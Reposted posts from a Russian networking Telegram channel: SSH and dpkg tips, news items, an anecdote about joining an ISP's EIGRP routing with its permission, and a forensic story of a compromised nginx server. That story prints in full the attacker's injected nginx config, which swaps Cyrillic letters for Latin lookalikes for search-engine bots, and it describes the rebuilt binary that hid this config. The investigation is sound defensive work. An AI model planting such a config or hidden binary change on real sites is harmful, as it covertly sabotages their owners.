Сетевик Джонни // Network Admin
5.93K subscribers
513 photos
62 videos
387 links
Я Сетевик Джонни, моя цель в телеграме рассказать все о сетях в доступной форме!

Сотрудничество: @stein_media
Download Telegram
🥷 Джонни вещает: Студент разработал проект открытого ноутбука за полгода 🔧

Байран Хуан, студент Академии Филлипса, собрал ноутбук с открытой архитектурой за один семестр. Устройство получило название anyon_e, оно оснащено дисплеем AMOLED 4K, механической клавиатурой Cherry MX и батареей, которая обеспечивает около семи часов автономной работы.

По словам Хуана, он хотел с нуля создать гаджет, «который бы обладал всеми качествами современного коммерческого тонкого и лёгкого ноутбука».

Rockchip RK3588 SoC был встроен в систему-на-модуле FriendlyElec CM3588 с 16 ГБ памяти LPDDR4X. Спецификации SoC включали четырёхъядерные Cortex-A76 и Cortex-A55 CPU, Mali-G10 GPU и NPU, который выводит 6TOPS.

Некоторые детали студент создал сам, например материнскую плату ноутбука и его корпус.

Ноутбук может воспроизводить 8K-видео со скоростью 60 кадров в секунду, а его порты ввода-вывода включают два USB3.1, PCIe 3.0 x4 и HDMI 2.1/eDP 1.4.

Для разработки операционной системы Байран применил ядро/дистрибутив ubuntu-rockchip.

🍒 В итоге Байран показал ноутбук, который внешне напоминает устройства Asus и Apple. При этом anyon_e загружается на три секунды быстрее, чем собственный MacBook Pro Хуана.

#News | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16🔥6
Forwarded from STEIN: ИБ, OSINT
🥸 Троянский конь: или о том, как остаться незамеченным РКН

Совсем недавно, а точнее 14 января РКН устраивал демо-версию тотального интернет-шатдауна, а причиной всему работа ТСПУ.

В этой статье речь пойдёт о протоколе, который, выделяется на общем фоне тем, что трафик шифруется и маскируется под подключение к популярным сайтам, иными словами, это тяжёлая артиллерия от наших товарищей-китайцев, которые на обходе блокировок собаку съели.

habr.com/ru/users/stein_osint/

#VPN #Trojan | 😈 @secur_researcher
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍1
🥷 Джонни вещает: алиасы в SSH

Скажу честно, до последнего времени не знал и не использовал. Оказались очень удобными.

В более-менее крупной компании часто оказывается, что имена серверов выглядят так: spb-MX-i3.extrt.int.company.net. И пользователь там не равен локальному.

🖥 То есть логиниться надо так: ssh ivanov_i@spb-MX-i3.extrt.int.company.net.

Каждый раз печатать — туннельных синдромов не напасёшься🙅‍♂️ В малых компаниях проблема обратная — никто не думает о DNS, и обращение на сервер выглядит так: ssh root@192.168.1.4. Короче, но всё равно напрягает. Ещё большая драма, если у нас есть нестандартный порт, и, например, первая версия SSH (привет цискам).

🖥 Тогда всё выглядит так: ssh -1 -p 334 vv_pupkin@spb-MX-i4.extrt.int.company.net. Удавиться. Про драму с scp даже рассказывать не хочется.

Можно прописать общесистемные alias'ы на IP (/etc/hosts), но это кривоватый выход (и пользователя и опции всё равно печатать). Есть путь короче.

Файл ~/.ssh/config позволяет задать параметры подключения, в том числе специальные для серверов, что самое важное, для каждого сервера своё. Все доступные для использования опции можно увидеть в man ssh_config (не путать с sshd_config). (жду ваш реакшен под постом)

#SSH #Alias | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18🔥1
🥷 Джонни вещает: откуда этот конфиг? [Debian/Ubuntu]

Цель этого поста: показать технику отладки в debian/ubuntu, связанную с "поиском первоисточника" в системном конфигурационном файле.

🖥 Тестовый пример: после долгих издевательств над tar.gz копией установленной ОС и после её восстановления и установки апдейтов мы получаем сообщение:

update-initramfs: Generating /boot/initrd.img-4.15.0-54-generic
W: initramfs-tools configuration sets RESUME=/dev/mapper/U1563304817I0-swap
W: but no matching swap device is available.
I: The initramfs will attempt to resume from /dev/dm-1
I: (/dev/mapper/foobar-swap)
I: Set the RESUME variable to override this.

🕹 Цель: понять, откуда это значение (U1563304817I0) пришло и как его правильно поменять. Это первый попавшийся пример, не особо интересный сам по себе, но удобный, чтобы показать практические методы работы с Linux.

Шаг номер 1: Откуда пришёл RESUME?

# cd /etc
# grep -r RESUME
initramfs-tools/conf.d/resume:RESUME=/dev/mapper/U1563304817I0-swap

Мы рекурсивно (-r) ищем упоминание этой переменной в каталоге /etc (там, где большинство конфигов). Мы находим conf.d сниппет, который явно используется пакетом initramfs-tools.

Теперь новый вопрос, а откуда этот сниппет? - есть три варианты:
1. Магический артефакт(кто-то положил и забыл )
2. Конфиг из пакета
3. Конфиг, сгенерированный каким-то скриптом из системных пакетов

Теперь проверяем c помощью dpkg -S он позволяет нам поискать по базе установленных файлов и найти к какому пакету файл относится.

dpkg -S initramfs-tools/conf.d/resume
dpkg-query: no path found matching pattern *initramfs-tools/conf.d/resume*

Вот пример удачного поиска:

dpkg -S resolv.conf
manpages: /usr/share/man/man5/resolv.conf.5.gz
systemd: /lib/systemd/resolv.conf

Возвращаемся к нашей задаче: файл initramfs-tools/conf.d/resume не устанавливается в систему из пакета. Может быть он генерируется в postinst/preinst скрипте пакета? Проверяем третью версию 😡

# cd /var/lib/dpkg/info/
# grep -r initramfs-tools/conf.d/resume *
initramfs-tools-core.postrm: rm -f /etc/initramfs-tools/conf.d/resume

В каталоге /var/lib/dpkg/info/ лежат распакованные версии всех "метафайлов" пакетов (скрипты установки/удаления, описания пакетов и т.д.). Удивительно, но этот файл удаляется в postrm (при удалении) пакета initramfs-tools-core. Посмотрим содержимое его postinst… Ничего, касающегося conf.d директории.

Давайте взглянем на файлы из состава пакета initramfs-tools-core.

# dpkg -L initramfs-tools-core
...
/usr/share/initramfs-tools/hooks/resume
...

Команда dpkg -L позволяет посмотреть все файлы, которые есть в системе от указанного пакета. Я выделил интересный для изучения файл. Изучение файла показывает как эта переменная используется, но не отвечает откуда он появляется.

💳 Если пост понравился, жду от вас реакций и выпускаю на ту же тему, но уже о базе ответов debconf

#Debian #Ubuntu #dpkg | 🏃‍♂️ @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6🤯2
🥷 Джонни вещает: а ваша система мониторинга орёт, когда меняется маршрутизация?

Допустим вы интернет провайдер или у вас своя сеть с динамической маршрутизацией, тогда собственно сабж…
Резонный вопрос, а зачем? Причин вести логи изменения много, а орать система мониторинга должна по той простой причине, что никто не застрахован от ошибки. Об ошибке речь пойдёт позже (в следующем посте), а пока, если вы знаете, как работает маршрутизация, внимательно проанализируйте и ответьте себе на вопрос на рисунке.

🕹 Правильный ответ на вопрос – через маршрутизатор 3.3.3.3, просто потому, что префикс через этот маршрутизатор длиннее.

Когда принимается решение, какой из двух маршрутов победит, всегда, прежде всего, проверяется префикс. Если до хоста есть два маршрута с одинаковым префиксом, то тогда победит маршрут с более приоритетным протоколом маршрутизации, если и протоколы маршрутизации одинаковы, то тогда будут браться во внимание внутренние метрики протокола маршрутизации.

— Но мы немного отвлеклись, на самом деле, я хотел рассказать давнюю историю, примерно 2006 года о том, как я случайно получил возможность вмешиваться в маршрутизацию своего провайдера, и что в подобном случае можно сделать, если интересно - реакция 🔥

#Network #Routing | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥37👍2
Сетевик Джонни // Network Admin
🥷 Джонни вещает: а ваша система мониторинга орёт, когда меняется маршрутизация? Допустим вы интернет провайдер или у вас своя сеть с динамической маршрутизацией, тогда собственно сабж… Резонный вопрос, а зачем? Причин вести логи изменения много, а орать система…
🥷 Джонни вещает: как обнаружилась ошибка

Все началось с того, что мне надо было настроить IDS snort. Пакеты ловить надо было на demark-е с провайдером. Поэтому было настроено зеркалирование порта на свитче, в который включался провайдер. Внутренним интерфейсом сервер snort был в локальной сети, внешним – нюхал зеркальный трафик с demark-a. Естественно, в подобных случаях при настройке всегда запускается tcpdump или что-либо подобное.

— Когда я начал анализировать, что получил tcpdump-ом, обнаружилась интересная вещь – маршрутизатор провайдера периодически отсылал на меня EIGRP HELLO multicast пакеты

Сначала меня заинтересовало, как такое могло произойти. Я не работал до этого с EIGRP, однако быстро выяснил, что при настройке EIGRP по умолчанию все интерфейсы переводятся в активный режим и маршрутизаторы сразу же начинают искать соседей по маршрутизации, используя для этого multicast. Можно глобально перевести все интерфейсы в пассивный режим и делать активными только определенные из них. Можно оставить все интерфейсы активными и переводить не нужные (те которые смотрят на клиентов) в пассивный режим. Провайдер использовал второй подход. Скорее всего, кто-то из сетевых администраторов провайдера ошибся и не перевел интерфейс, который смотрел на меня, в пассивный режим.

🕹 Стало понятно, как такое могло получиться: Допустим, вы конфигурируете, в этот момент вас отвлекает минут на 5 телефонный звонок, вы возвращаетесь к работе и понимаете, что все уже сконфигурировали и все работает. Сохраняете конфигурацию, но забыли, что не перевели интерфейс в пассивный режим. (следующая часть будет про варианты эксплуатации ошибки, жду ваших 🔥)

#Network #Routing | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍6
Сетевик Джонни // Network Admin
🥷 Джонни вещает:
🥷 Джонни вещает: варианты эксплуатации ошибки

Получалось, что я могу настроить у себя EIGRP, и включиться в маршрутизацию провайдера. Естественно, меня заинтересовало, как это можно использовать. Чем больше я над этим думал, тем интересней становилось.

🌟 Надо сказать, что у меня были отличные отношения с провайдером. Сотрудники провайдера донесли до нас, что они, в принципе, не против того, что мы попытаемся их взломать и жаловаться не будут. Главное ничего не сломать, и в случае если что-то обнаружим, сказать им. Все люди – все ошибаются. Их бесплатно тестируют на проникновение, а у нас прикольный полигон.

Поэтому я позвонил провайдеру, сказал, что кое-что обнаружил, что именно, скажу на следующий день, а пока поэкспериментирую. Если увидят, что я делаю, пускай прикроют. На самом деле было интересно, обнаружат мое вмешательство в маршрутизацию или нет. Не обнаружили. В следующем посте разберемся, что можно в этом случае сделать, от вас как и прежде - 🔥

#Network #Routing | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥27👍7
CrowdStrike использует ИИ, чтобы сократить 40 часов в работе SOC 🤷‍♂️

— CrowdStrike решила ввести систему, которая автоматизирует оценку оповещений для команд центров безопасности (SOC).

— По заявлениям, точность составляет более 98% и сокращает ручной триаж более чем на 40 часов в неделю, при этом не теряя контроля и точности.

— Система фильтрует ложные срабатывания и закрывает оповещения с низким уровнем риска, позволяя аналитикам сосредоточиться на реальных угрозах.

#News | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9
🥷 Docker в виртуальной машине

#meme | 😊 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🤣10🔥1
🥷 Джонни вещает: сервер в каждый дом: в Великобритании протестируют индивидуальные «цифровые котлы 🔥»

В рамках эксперимента будет создана облачная платформа, на которой разместят серверы. Эти серверы будут установлены в жилых домах. Каждый сервер будет подключен к системе отопления, которая будет накапливать тепло во время работы сервера.

Каждый сервер способен вырабатывать до 4 кВт·ч в день. Это может позволить сэкономить на оплате газа или электричества до 340 фунтов стерлингов в год. Стоимость электричества, потребляемого сервером, будет покрываться IT-компанией Heata.

#News #Server | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥4
Трансатлантический кабель Anjana от Meta* установил рекорд пропускной способности через Атлантический океан 🔧

24 оптоволоконных пары, каждая из которых способна передавать по 20 Тбит/с, обеспечат рекордную для Атлантики скорость около 500 Тбит/с.

Высокая пропускная способность обеспечена благодаря технологии пространственного мультиплексирования (SDM). Ещё одна важная особенность Anjana — его маршрут. Если в 2000 году практически все трансатлантические кабели соединяли Лондон и Нью-Йорк, а европейский трафик проходил через Великобританию, то новая цифровая магистраль соединяет Мертл-Бич (Myrtle Beach, Южная Каролина) и Сантандер (Santander, Испания).

#News | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍142🔥1
🥷 Джонни вещает: памятка пользователям SSH

В посте описаны продвинутые функций OpenSSH, которые позволяют сильно упростить жизнь системным администраторам и программистам, которые не боятся шелла. В отличие от большинства руководств, которые кроме ключей и -L/D/R опций ничего не описывают, я попытался собрать все интересные фичи и удобства, которые с собой несёт SSH:

управление ключами SSH
проброс портов
алиасы в SSH
ключ сервера SSH
вложенные туннели
динамический проброс портов
проброс авторизации
проброс X-сервера
реверс сокс-прокси

#SSH | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
🥷 Джонни вещает: расследование одного взлома: SSH туннель

SSH туннель хороший инструмент, но при неправильных настройках может представлять серьезную угрозу для сетевой инфраструктуры.

Это показано на примере упрощенной реконструкции одного взлома. Целью не было обучение скрипт-кидди.

#SSH | 😏 @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16🔥7
⌨️ Большая подборка вопросов с собеседований: Системного администратора Linux/Devops

Дядя Джонни снова с вами, итак, полезная подборка актуальных задач и вопросов с собеседований, которые помогут вам подготовиться как к практике, так и к теории и получить работу.

1. Вопросы для интервью системного администратора Linux/DevOps
2.
Вопросы системного администратора
3.
100 важных вопросов на собеседовании по Linux с ответами
4.
Подборка вопросов для собеса с системным администратором Linux/DevOps
5.
Дополнительные вопросы для собеседования с системным администратором
6.
Полезный материал для подготовки к собеседованию на должность инженера DevOps: Исчерпывающее руководство

#Linux #DevOps #SysAdmin #Interview
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥1
🥷 Джонни вещает: по следам одного взлома: когда 'a' не равно 'а'

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.

— Надо сказать, что приятель мой вполне себе UNIX-пользователь: может сам поставить систему, установить mysql, php и сделать простейшие настройки nginx. И есть у него десяток-полтора сайтов посвященных строительным инструментам.

Один из таких сайтов, посвященный бензопилам, плотненько сидит в ТОПe поисковиков. Сайт этот — некоммерческий обзорник, но кому-то поперек горла и повадились его атаковать. То DDoS, то брутфорс, то комменты напишут непотребные и шлют абузы на хостинг и в РКН.
Неожиданно всё стихло и это затишье оказалось не к добру, а сайт начал постепенно покидать верхние строчки выдачи.

🖥 То была присказка, дальше сама админская байка.

Время близилось ко сну когда раздался звонок телефона: «Сань, ты не глянешь мой сервер? Мне кажется меня хакнули, доказать не могу, но ощущение не покидает уже третью неделю. Может мне просто пора лечиться от паранойи?»


Далее пошло получасовое обсуждение которое кратко можно изложить так:
- почва для взлома была вполне плодородной;
- взломщик мог получить права суперпользователя;
- атака (если она имела место) была целенаправленной и именно на этот сайт;
- проблемные места исправлены и нужно только понять был ли факт проникновения;
- взлом не мог коснуться кода сайта и баз данных.

Касательно последнего пункта, в мир смотрит только белый IP фронтенда(см. фото). Между бакендами и фронтендом нет никакого обмена кроме http(s), пользователи/пароли разные, ключами не обменивались. На серых адресах все порты кроме 80/443 закрыты. Белые IP бакендов известны только двум пользователям, которым Михаил всецело доверяет.

На фронтенде установлена Debian 9 и к моменту звонка система изолирована от мира внешним firewall'ом и остановлена.

«Ok, давай доступы, — решаю отложить сон на часок. — Посмотрю своим глазом».

Здесь и далее:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1


Жду от вас реакшена и выкладываю продолжение этой истории 💵

#Linux #nginx #unix | @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍2🤣2
Сетевик Джонни // Network Admin
🥷 Джонни вещает: по следам одного взлома: когда 'a' не равно 'а' Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня. — Надо сказать, что приятель мой вполне себе…
🥷 Джонни вещает: в поисках возможного взлома (ч.2)

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.

Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю auth-логи, history, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.

Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует nginx так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто cat'ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то include, сделаю-ка я полный листинг:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

🤔 Не понял: «Где листинг-то?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

😌 К вопросу о листинге добавляется второй: «Почему такая древняя версия nginx?»

К тому же система считает, что версия установлена свежее:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server


— Миш, ты зачем пересобирал nginx?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…


Nginx однозначно пересобран и вывод листинга по "-T" скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.

И действительно, раз уж некто получил права root'а, то имеет смысл делать только system reinstall, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?

Попробуем оттрассировать:
$ strace nginx -T

Просматриваем, в трассировке явно не хватает строк а-ля
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "\n", 1


Ради интереса сравниваем выводы

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Думаю, что часть кода /src/core/nginx.c

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;

была приведена к виду:

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;

или

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;

поэтому листинг по "-T" не отображается.

Жду от вас реакшена и выкладываю уже третью часть этой истории 💵

#Linux #nginx #unix | @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍4
Сетевик Джонни // Network Admin
🥷 Джонни вещает: в поисках возможного взлома (ч.2) Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня. Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю…
🥷 Джонни вещает: но как же посмотреть наш конфиг? (ч.3)

Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':

По шагам:
устанавливаем точку останова в функции main()
запускаем программу
изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
продолжаем/завершаем программу

Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


Рассмотрим по порядку что же здесь происходит, итак, определяются User-Agent'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}


Исключаются служебные страницы wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}


И для тех, кто попал под оба условия:

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}


в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;


Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'(см. прикреплённое фото). Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.

#Linux #nginx #unix | @iscode
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥4